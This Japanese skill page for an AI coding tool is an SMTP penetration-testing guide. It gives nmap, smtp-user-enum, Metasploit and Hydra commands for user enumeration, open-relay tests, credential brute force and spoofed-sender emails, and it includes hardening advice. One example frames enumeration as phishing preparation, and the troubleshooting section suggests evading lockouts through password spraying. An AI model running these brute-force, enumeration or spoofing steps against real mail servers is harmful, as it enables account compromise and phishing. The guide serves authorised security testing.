SMTP Penetration Testing について
SMTP Penetration Testing は、許可を得た SMTP サーバーの評価を行うセキュリティ担当者向けスキルです。サービス探索、ユーザー列挙、中継・認証の確認、TLS と DNS レコードの分析手順、修正案を提供します。
主な機能
- 01SMTP サービスの探索とバナー確認
- 02ユーザー列挙と中継動作のテスト
- 03認証と TLS 設定の評価
- 04SPF、DKIM、DMARC レコードの確認
- 05修正案の提示
活用シーン
- 01許可を得たメールサーバーの評価
- 02オープンリレーとユーザー列挙リスクの確認
- 03SMTP 暗号化とメール認証設定のレビュー
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ davila7/ claude-code-templates --skill smtp-penetration-testingインストール後、Claude Code で/smtp-penetration-testingを入力して読み込まれたか確認します。
詳細
SMTP ペネトレーションテスト
目的
SMTP(Simple Mail Transfer Protocol)サーバーの包括的なセキュリティ評価を実施し、オープンリレー、ユーザー列挙、弱い認証、設定ミスなどの脆弱性を特定します。このスキルでは、バナー取得、ユーザー列挙手法、リレーテスト、総当たり攻撃、およびセキュリティ強化の推奨事項を扱います。
前提条件
必要なツール
# Nmap with SMTP scripts
sudo apt-get install nmap
# Netcat
sudo apt-get install netcat
# Hydra for brute force
sudo apt-get install hydra
# SMTP user enumeration tool
sudo apt-get install smtp-user-enum
# Metasploit Framework
msfconsole
必要な知識
- SMTP プロトコルの基礎
- メールアーキテクチャ(MTA、MDA、MUA)
- DNS と MX レコード
- ネットワークプロトコル
必要なアクセス権
- 対象の SMTP サーバーの IP アドレスまたはホスト名
- テストに関する書面による承認
- 列挙および総当たり攻撃用のワードリスト
成果物
- SMTP セキュリティ評価レポート - 包括的な脆弱性の検出結果
- ユーザー列挙の結果 - 発見された有効なメールアドレス
- リレーテストの結果 - オープンリレーの状態と悪用の可能性
- 是正の推奨事項 - セキュリティ強化のガイダンス
中核ワークフロー
フェーズ 1: SMTP アーキテクチャの理解
Components: MTA (transfer) → MDA (delivery) → MUA (client)
Ports: 25 (SMTP), 465 (SMTPS), 587 (submission), 2525 (alternative)
Workflow: Sender MUA → Sender MTA → DNS/MX → Recipient MTA → MDA → Recipient MUA
フェーズ 2: SMTP サービスの検出
SMTP サーバーとそのバージョンを特定します:
# Discover SMTP ports
nmap -p 25,465,587,2525 -sV TARGET_IP
# Aggressive service detection
nmap -sV -sC -p 25 TARGET_IP
# SMTP-specific scripts
nmap --script=smtp-* -p 25 TARGET_IP
# Discover MX records for domain
dig MX target.com
nslookup -type=mx target.com
host -t mx target.com
フェーズ 3: バナー取得
SMTP サーバーの情報を取得します:
# Using Telnet
telnet TARGET_IP 25
# Response: 220 mail.target.com ESMTP Postfix
# Using Netcat
nc TARGET_IP 25
# Response: 220 mail.target.com ESMTP
# Using Nmap
nmap -sV -p 25 TARGET_IP
# Version detection extracts banner info
# Manual SMTP commands
EHLO test
# Response reveals supported extensions
バナー情報を解析します:
Banner reveals:
- Server software (Postfix, Sendmail, Exchange)
- Version information
- Hostname
- Supported SMTP extensions (STARTTLS, AUTH, etc.)
フェーズ 4: SMTP コマンドの列挙
利用可能な SMTP コマンドをテストします:
# Connect and test commands
nc TARGET_IP 25
# Initial greeting
EHLO attacker.com
# Response shows capabilities:
250-mail.target.com
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-AUTH PLAIN LOGIN
250-8BITMIME
250 DSN
テスト対象の主要なコマンド:
# VRFY - Verify user exists
VRFY admin
250 2.1.5 [email protected]
# EXPN - Expand mailing list
EXPN staff
250 2.1.5 [email protected]
250 2.1.5 [email protected]
# RCPT TO - Recipient verification
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
# 250 OK = user exists
# 550 = user doesn't exist
フェーズ 5: ユーザー列挙
有効なメールアドレスを列挙します:
# Using smtp-user-enum with VRFY
smtp-user-enum -M VRFY -U /usr/share/wordlists/users.txt -t TARGET_IP
# Using EXPN method
smtp-user-enum -M EXPN -U /usr/share/wordlists/users.txt -t TARGET_IP
# Using RCPT method
smtp-user-enum -M RCPT -U /usr/share/wordlists/users.txt -t TARGET_IP
# Specify port and domain
smtp-user-enum -M VRFY -U users.txt -t TARGET_IP -p 25 -d target.com
Metasploit を使用する場合:
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS TARGET_IP
set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
set UNIXONLY true
run
Nmap を使用する場合:
# SMTP user enumeration script
nmap --script smtp-enum-users -p 25 TARGET_IP
# With custom user list
nmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -p 25 TARGET_IP
フェーズ 6: オープンリレーのテスト
不正なメールリレーをテストします:
# Using Nmap
nmap -p 25 --script smtp-open-relay TARGET_IP
# Manual testing via Telnet
telnet TARGET_IP 25
HELO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
DATA
Subject: Relay Test
This is a test.
.
QUIT
# If accepted (250 OK), server is open relay
Metasploit を使用する場合:
use auxiliary/scanner/smtp/smtp_relay
set RHOSTS TARGET_IP
run
テストのバリエーション:
# Test different sender/recipient combinations
MAIL FROM:<>
MAIL FROM:<test@[attacker_IP]>
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
RCPT TO:<"[email protected]">
RCPT TO:<test%[email protected]>
フェーズ 7: 総当たり認証
弱い SMTP 認証情報をテストします:
# Using Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt smtp://TARGET_IP
# With specific port and SSL
hydra -l admin -P passwords.txt -s 465 -S TARGET_IP smtp
# Multiple users
hydra -L users.txt -P passwords.txt TARGET_IP smtp
# Verbose output
hydra -l admin -P passwords.txt smtp://TARGET_IP -V
Medusa を使用する場合:
medusa -h TARGET_IP -u admin -P /path/to/passwords.txt -M smtp
Metasploit を使用する場合:
use auxiliary/scanner/smtp/smtp_login
set RHOSTS TARGET_IP
set USER_FILE /path/to/users.txt
set PASS_FILE /path/to/passwords.txt
set VERBOSE true
run
フェーズ 8: SMTP コマンドインジェクション
コマンドインジェクションの脆弱性をテストします:
# Header injection test
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
DATA
Subject: Test
Bcc: [email protected]
X-Injected: malicious-header
Injected content
.
メールスプーフィングのテスト:
# Spoofed sender (tests SPF/DKIM protection)
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
DATA
From: CEO <[email protected]>
Subject: Urgent Request
Please process this request immediately.
.
フェーズ 9: TLS/SSL セキュリティテスト
暗号化の設定をテストします:
# STARTTLS support check
openssl s_client -connect TARGET_IP:25 -starttls smtp
# Direct SSL (port 465)
openssl s_client -connect TARGET_IP:465
# Cipher enumeration
nmap --script ssl-enum-ciphers -p 25 TARGET_IP
フェーズ 10: SPF、DKIM、DMARC の分析
メール認証レコードを確認します:
# SPF/DKIM/DMARC record lookups
dig TXT target.com | grep spf # SPF
dig TXT selector._domainkey.target.com # DKIM
dig TXT _dmarc.target.com # DMARC
# SPF policy: -all = strict fail, ~all = soft fail, ?all = neutral
クイックリファレンス
主要な SMTP コマンド
| コマンド | 目的 | 例 |
|---|---|---|
| HELO | クライアントの識別 | HELO client.com |
| EHLO | 拡張 HELO | EHLO client.com |
| MAIL FROM | 送信者の設定 | MAIL FROM:<[email protected]> |
| RCPT TO | 受信者の設定 | RCPT TO:<[email protected]> |
| DATA | メッセージ本文の開始 | DATA |
| VRFY | ユーザーの検証 | VRFY admin |
| EXPN | エイリアスの展開 | EXPN staff |
| QUIT | セッションの終了 | QUIT |
SMTP レスポンスコード
| コード | 意味 |
|---|---|
| 220 | サービス準備完了 |
| 221 | 接続を終了 |
| 250 | OK / 要求された操作が完了 |
| 354 | メール入力の開始 |
| 421 | サービスが利用できません |
| 450 | メールボックスが利用できません |
| 550 | ユーザーが不明 / メールボックスが見つかりません |
| 553 | メールボックス名が許可されていません |
列挙ツールのコマンド
| ツール | コマンド |
|---|---|
| smtp-user-enum | smtp-user-enum -M VRFY -U users.txt -t IP |
| Nmap | nmap --script smtp-enum-users -p 25 IP |
| Metasploit | use auxiliary/scanner/smtp/smtp_enum |
| Netcat | nc IP 25 の後、手動でコマンドを入力 |
一般的な脆弱性
| 脆弱性 | リスク | テスト方法 |
|---|---|---|
| オープンリレー | 高 | 外部の受信者を指定したリレーテスト |
| ユーザー列挙 | 中 | VRFY/EXPN/RCPT コマンド |
| バナー情報の漏えい | 低 | バナー取得 |
| 弱い認証 | 高 | 総当たり攻撃 |
| TLS 未使用 | 中 | STARTTLS のテスト |
| SPF/DKIM の未設定 | 中 | DNS レコードの照会 |
制約事項と制限
法的要件
- 所有している、またはテストする許可を得ている SMTP サーバーのみをテストしてください
- スパムや悪意のあるメールの送信は違法です
- すべてのテスト活動を文書化してください
- 発見したオープンリレーを悪用しないでください
技術的な制限
- VRFY/EXPN は最近のサーバーではしばしば無効化されている
- レート制限により列挙が遅くなる場合がある
- 有効なユーザーと無効なユーザーに対して同じ応答を返すサーバーもある
- グレーリストにより列挙の応答が遅れる場合がある
倫理的な境界
- 発見したリレーから実際にスパムを送信しないこと
- 悪意のある目的でメールアドレスを収集しないこと
- オープンリレーはサーバー管理者に報告すること
- 検出結果は、許可を得たセキュリティ改善のためにのみ使用すること
例
例 1: SMTP の完全な評価
シナリオ: メールサーバーの完全なセキュリティ評価
# Step 1: Service discovery
nmap -sV -sC -p 25,465,587 mail.target.com
# Step 2: Banner grab
nc mail.target.com 25
EHLO test.com
QUIT
# Step 3: User enumeration
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t mail.target.com
# Step 4: Open relay test
nmap -p 25 --script smtp-open-relay mail.target.com
# Step 5: Authentication test
hydra -l admin -P /usr/share/wordlists/fasttrack.txt smtp://mail.target.com
# Step 6: TLS check
openssl s_client -connect mail.target.com:25 -starttls smtp
# Step 7: Check email authentication
dig TXT target.com | grep spf
dig TXT _dmarc.target.com
例 2: ユーザー列挙攻撃
シナリオ: フィッシングの準備のために有効なユーザーを列挙する
# Method 1: VRFY
smtp-user-enum -M VRFY -U users.txt -t 192.168.1.100 -p 25
# Method 2: RCPT with timing analysis
smtp-user-enum -M RCPT -U users.txt -t 192.168.1.100 -p 25 -d target.com
# Method 3: Metasploit
msfconsole
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt
run
# Results show valid users
[+] 192.168.1.100:25 - Found user: admin
[+] 192.168.1.100:25 - Found user: root
[+] 192.168.1.100:25 - Found user: postmaster
例 3: オープンリレーの悪用
シナリオ: オープンリレーの脆弱性をテストし、文書化する
# Test via Telnet
telnet mail.target.com 25
HELO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
# If 250 OK - VULNERABLE
# Document with Nmap
nmap -p 25 --script smtp-open-relay --script-args [email protected],[email protected] mail.target.com
# Output:
# PORT STATE SERVICE
# 25/tcp open smtp
# |_smtp-open-relay: Server is an open relay (14/16 tests)
トラブルシューティング
| 問題 | 原因 | 解決策 |
|---|---|---|
| 接続が拒否される | ポートがブロックされているか閉じている | nmap でポートを確認する。ISP がポート 25 をブロックしている可能性があるため、587/465 を試す。VPN を使用する |
| VRFY/EXPN が無効 | サーバーが強化されている | RCPT TO 方式を使用する。応答時間やコードの違いを分析する |
| ブルートフォースがブロックされる | レート制限/ロックアウト | 速度を落とす(hydra -W 5)。パスワードスプレーを使用する。fail2ban の有無を確認する |
| SSL/TLS エラー | ポートまたはプロトコルの誤り | SSL には 465、STARTTLS には 25/587 を使用する。EHLO の応答を確認する |
セキュリティに関する推奨事項
管理者向け
- オープンリレーの無効化 - 外部への配信には認証を必須にする
- VRFY/EXPN の無効化 - ユーザー列挙を防ぐ
- TLS の強制 - すべての接続で STARTTLS を必須にする
- SPF/DKIM/DMARC の実装 - メールのなりすましを防ぐ
- レート制限 - ブルートフォース攻撃を防ぐ
- アカウントロックアウト - 認証失敗後にアカウントをロックする
- バナーの強化 - サーバー情報の開示を最小限にする
- ログ監視 - 不審なアクティビティを通知する
- パッチ管理 - SMTP ソフトウェアを最新の状態に保つ
- アクセス制御 - SMTP を許可された IP アドレスに制限する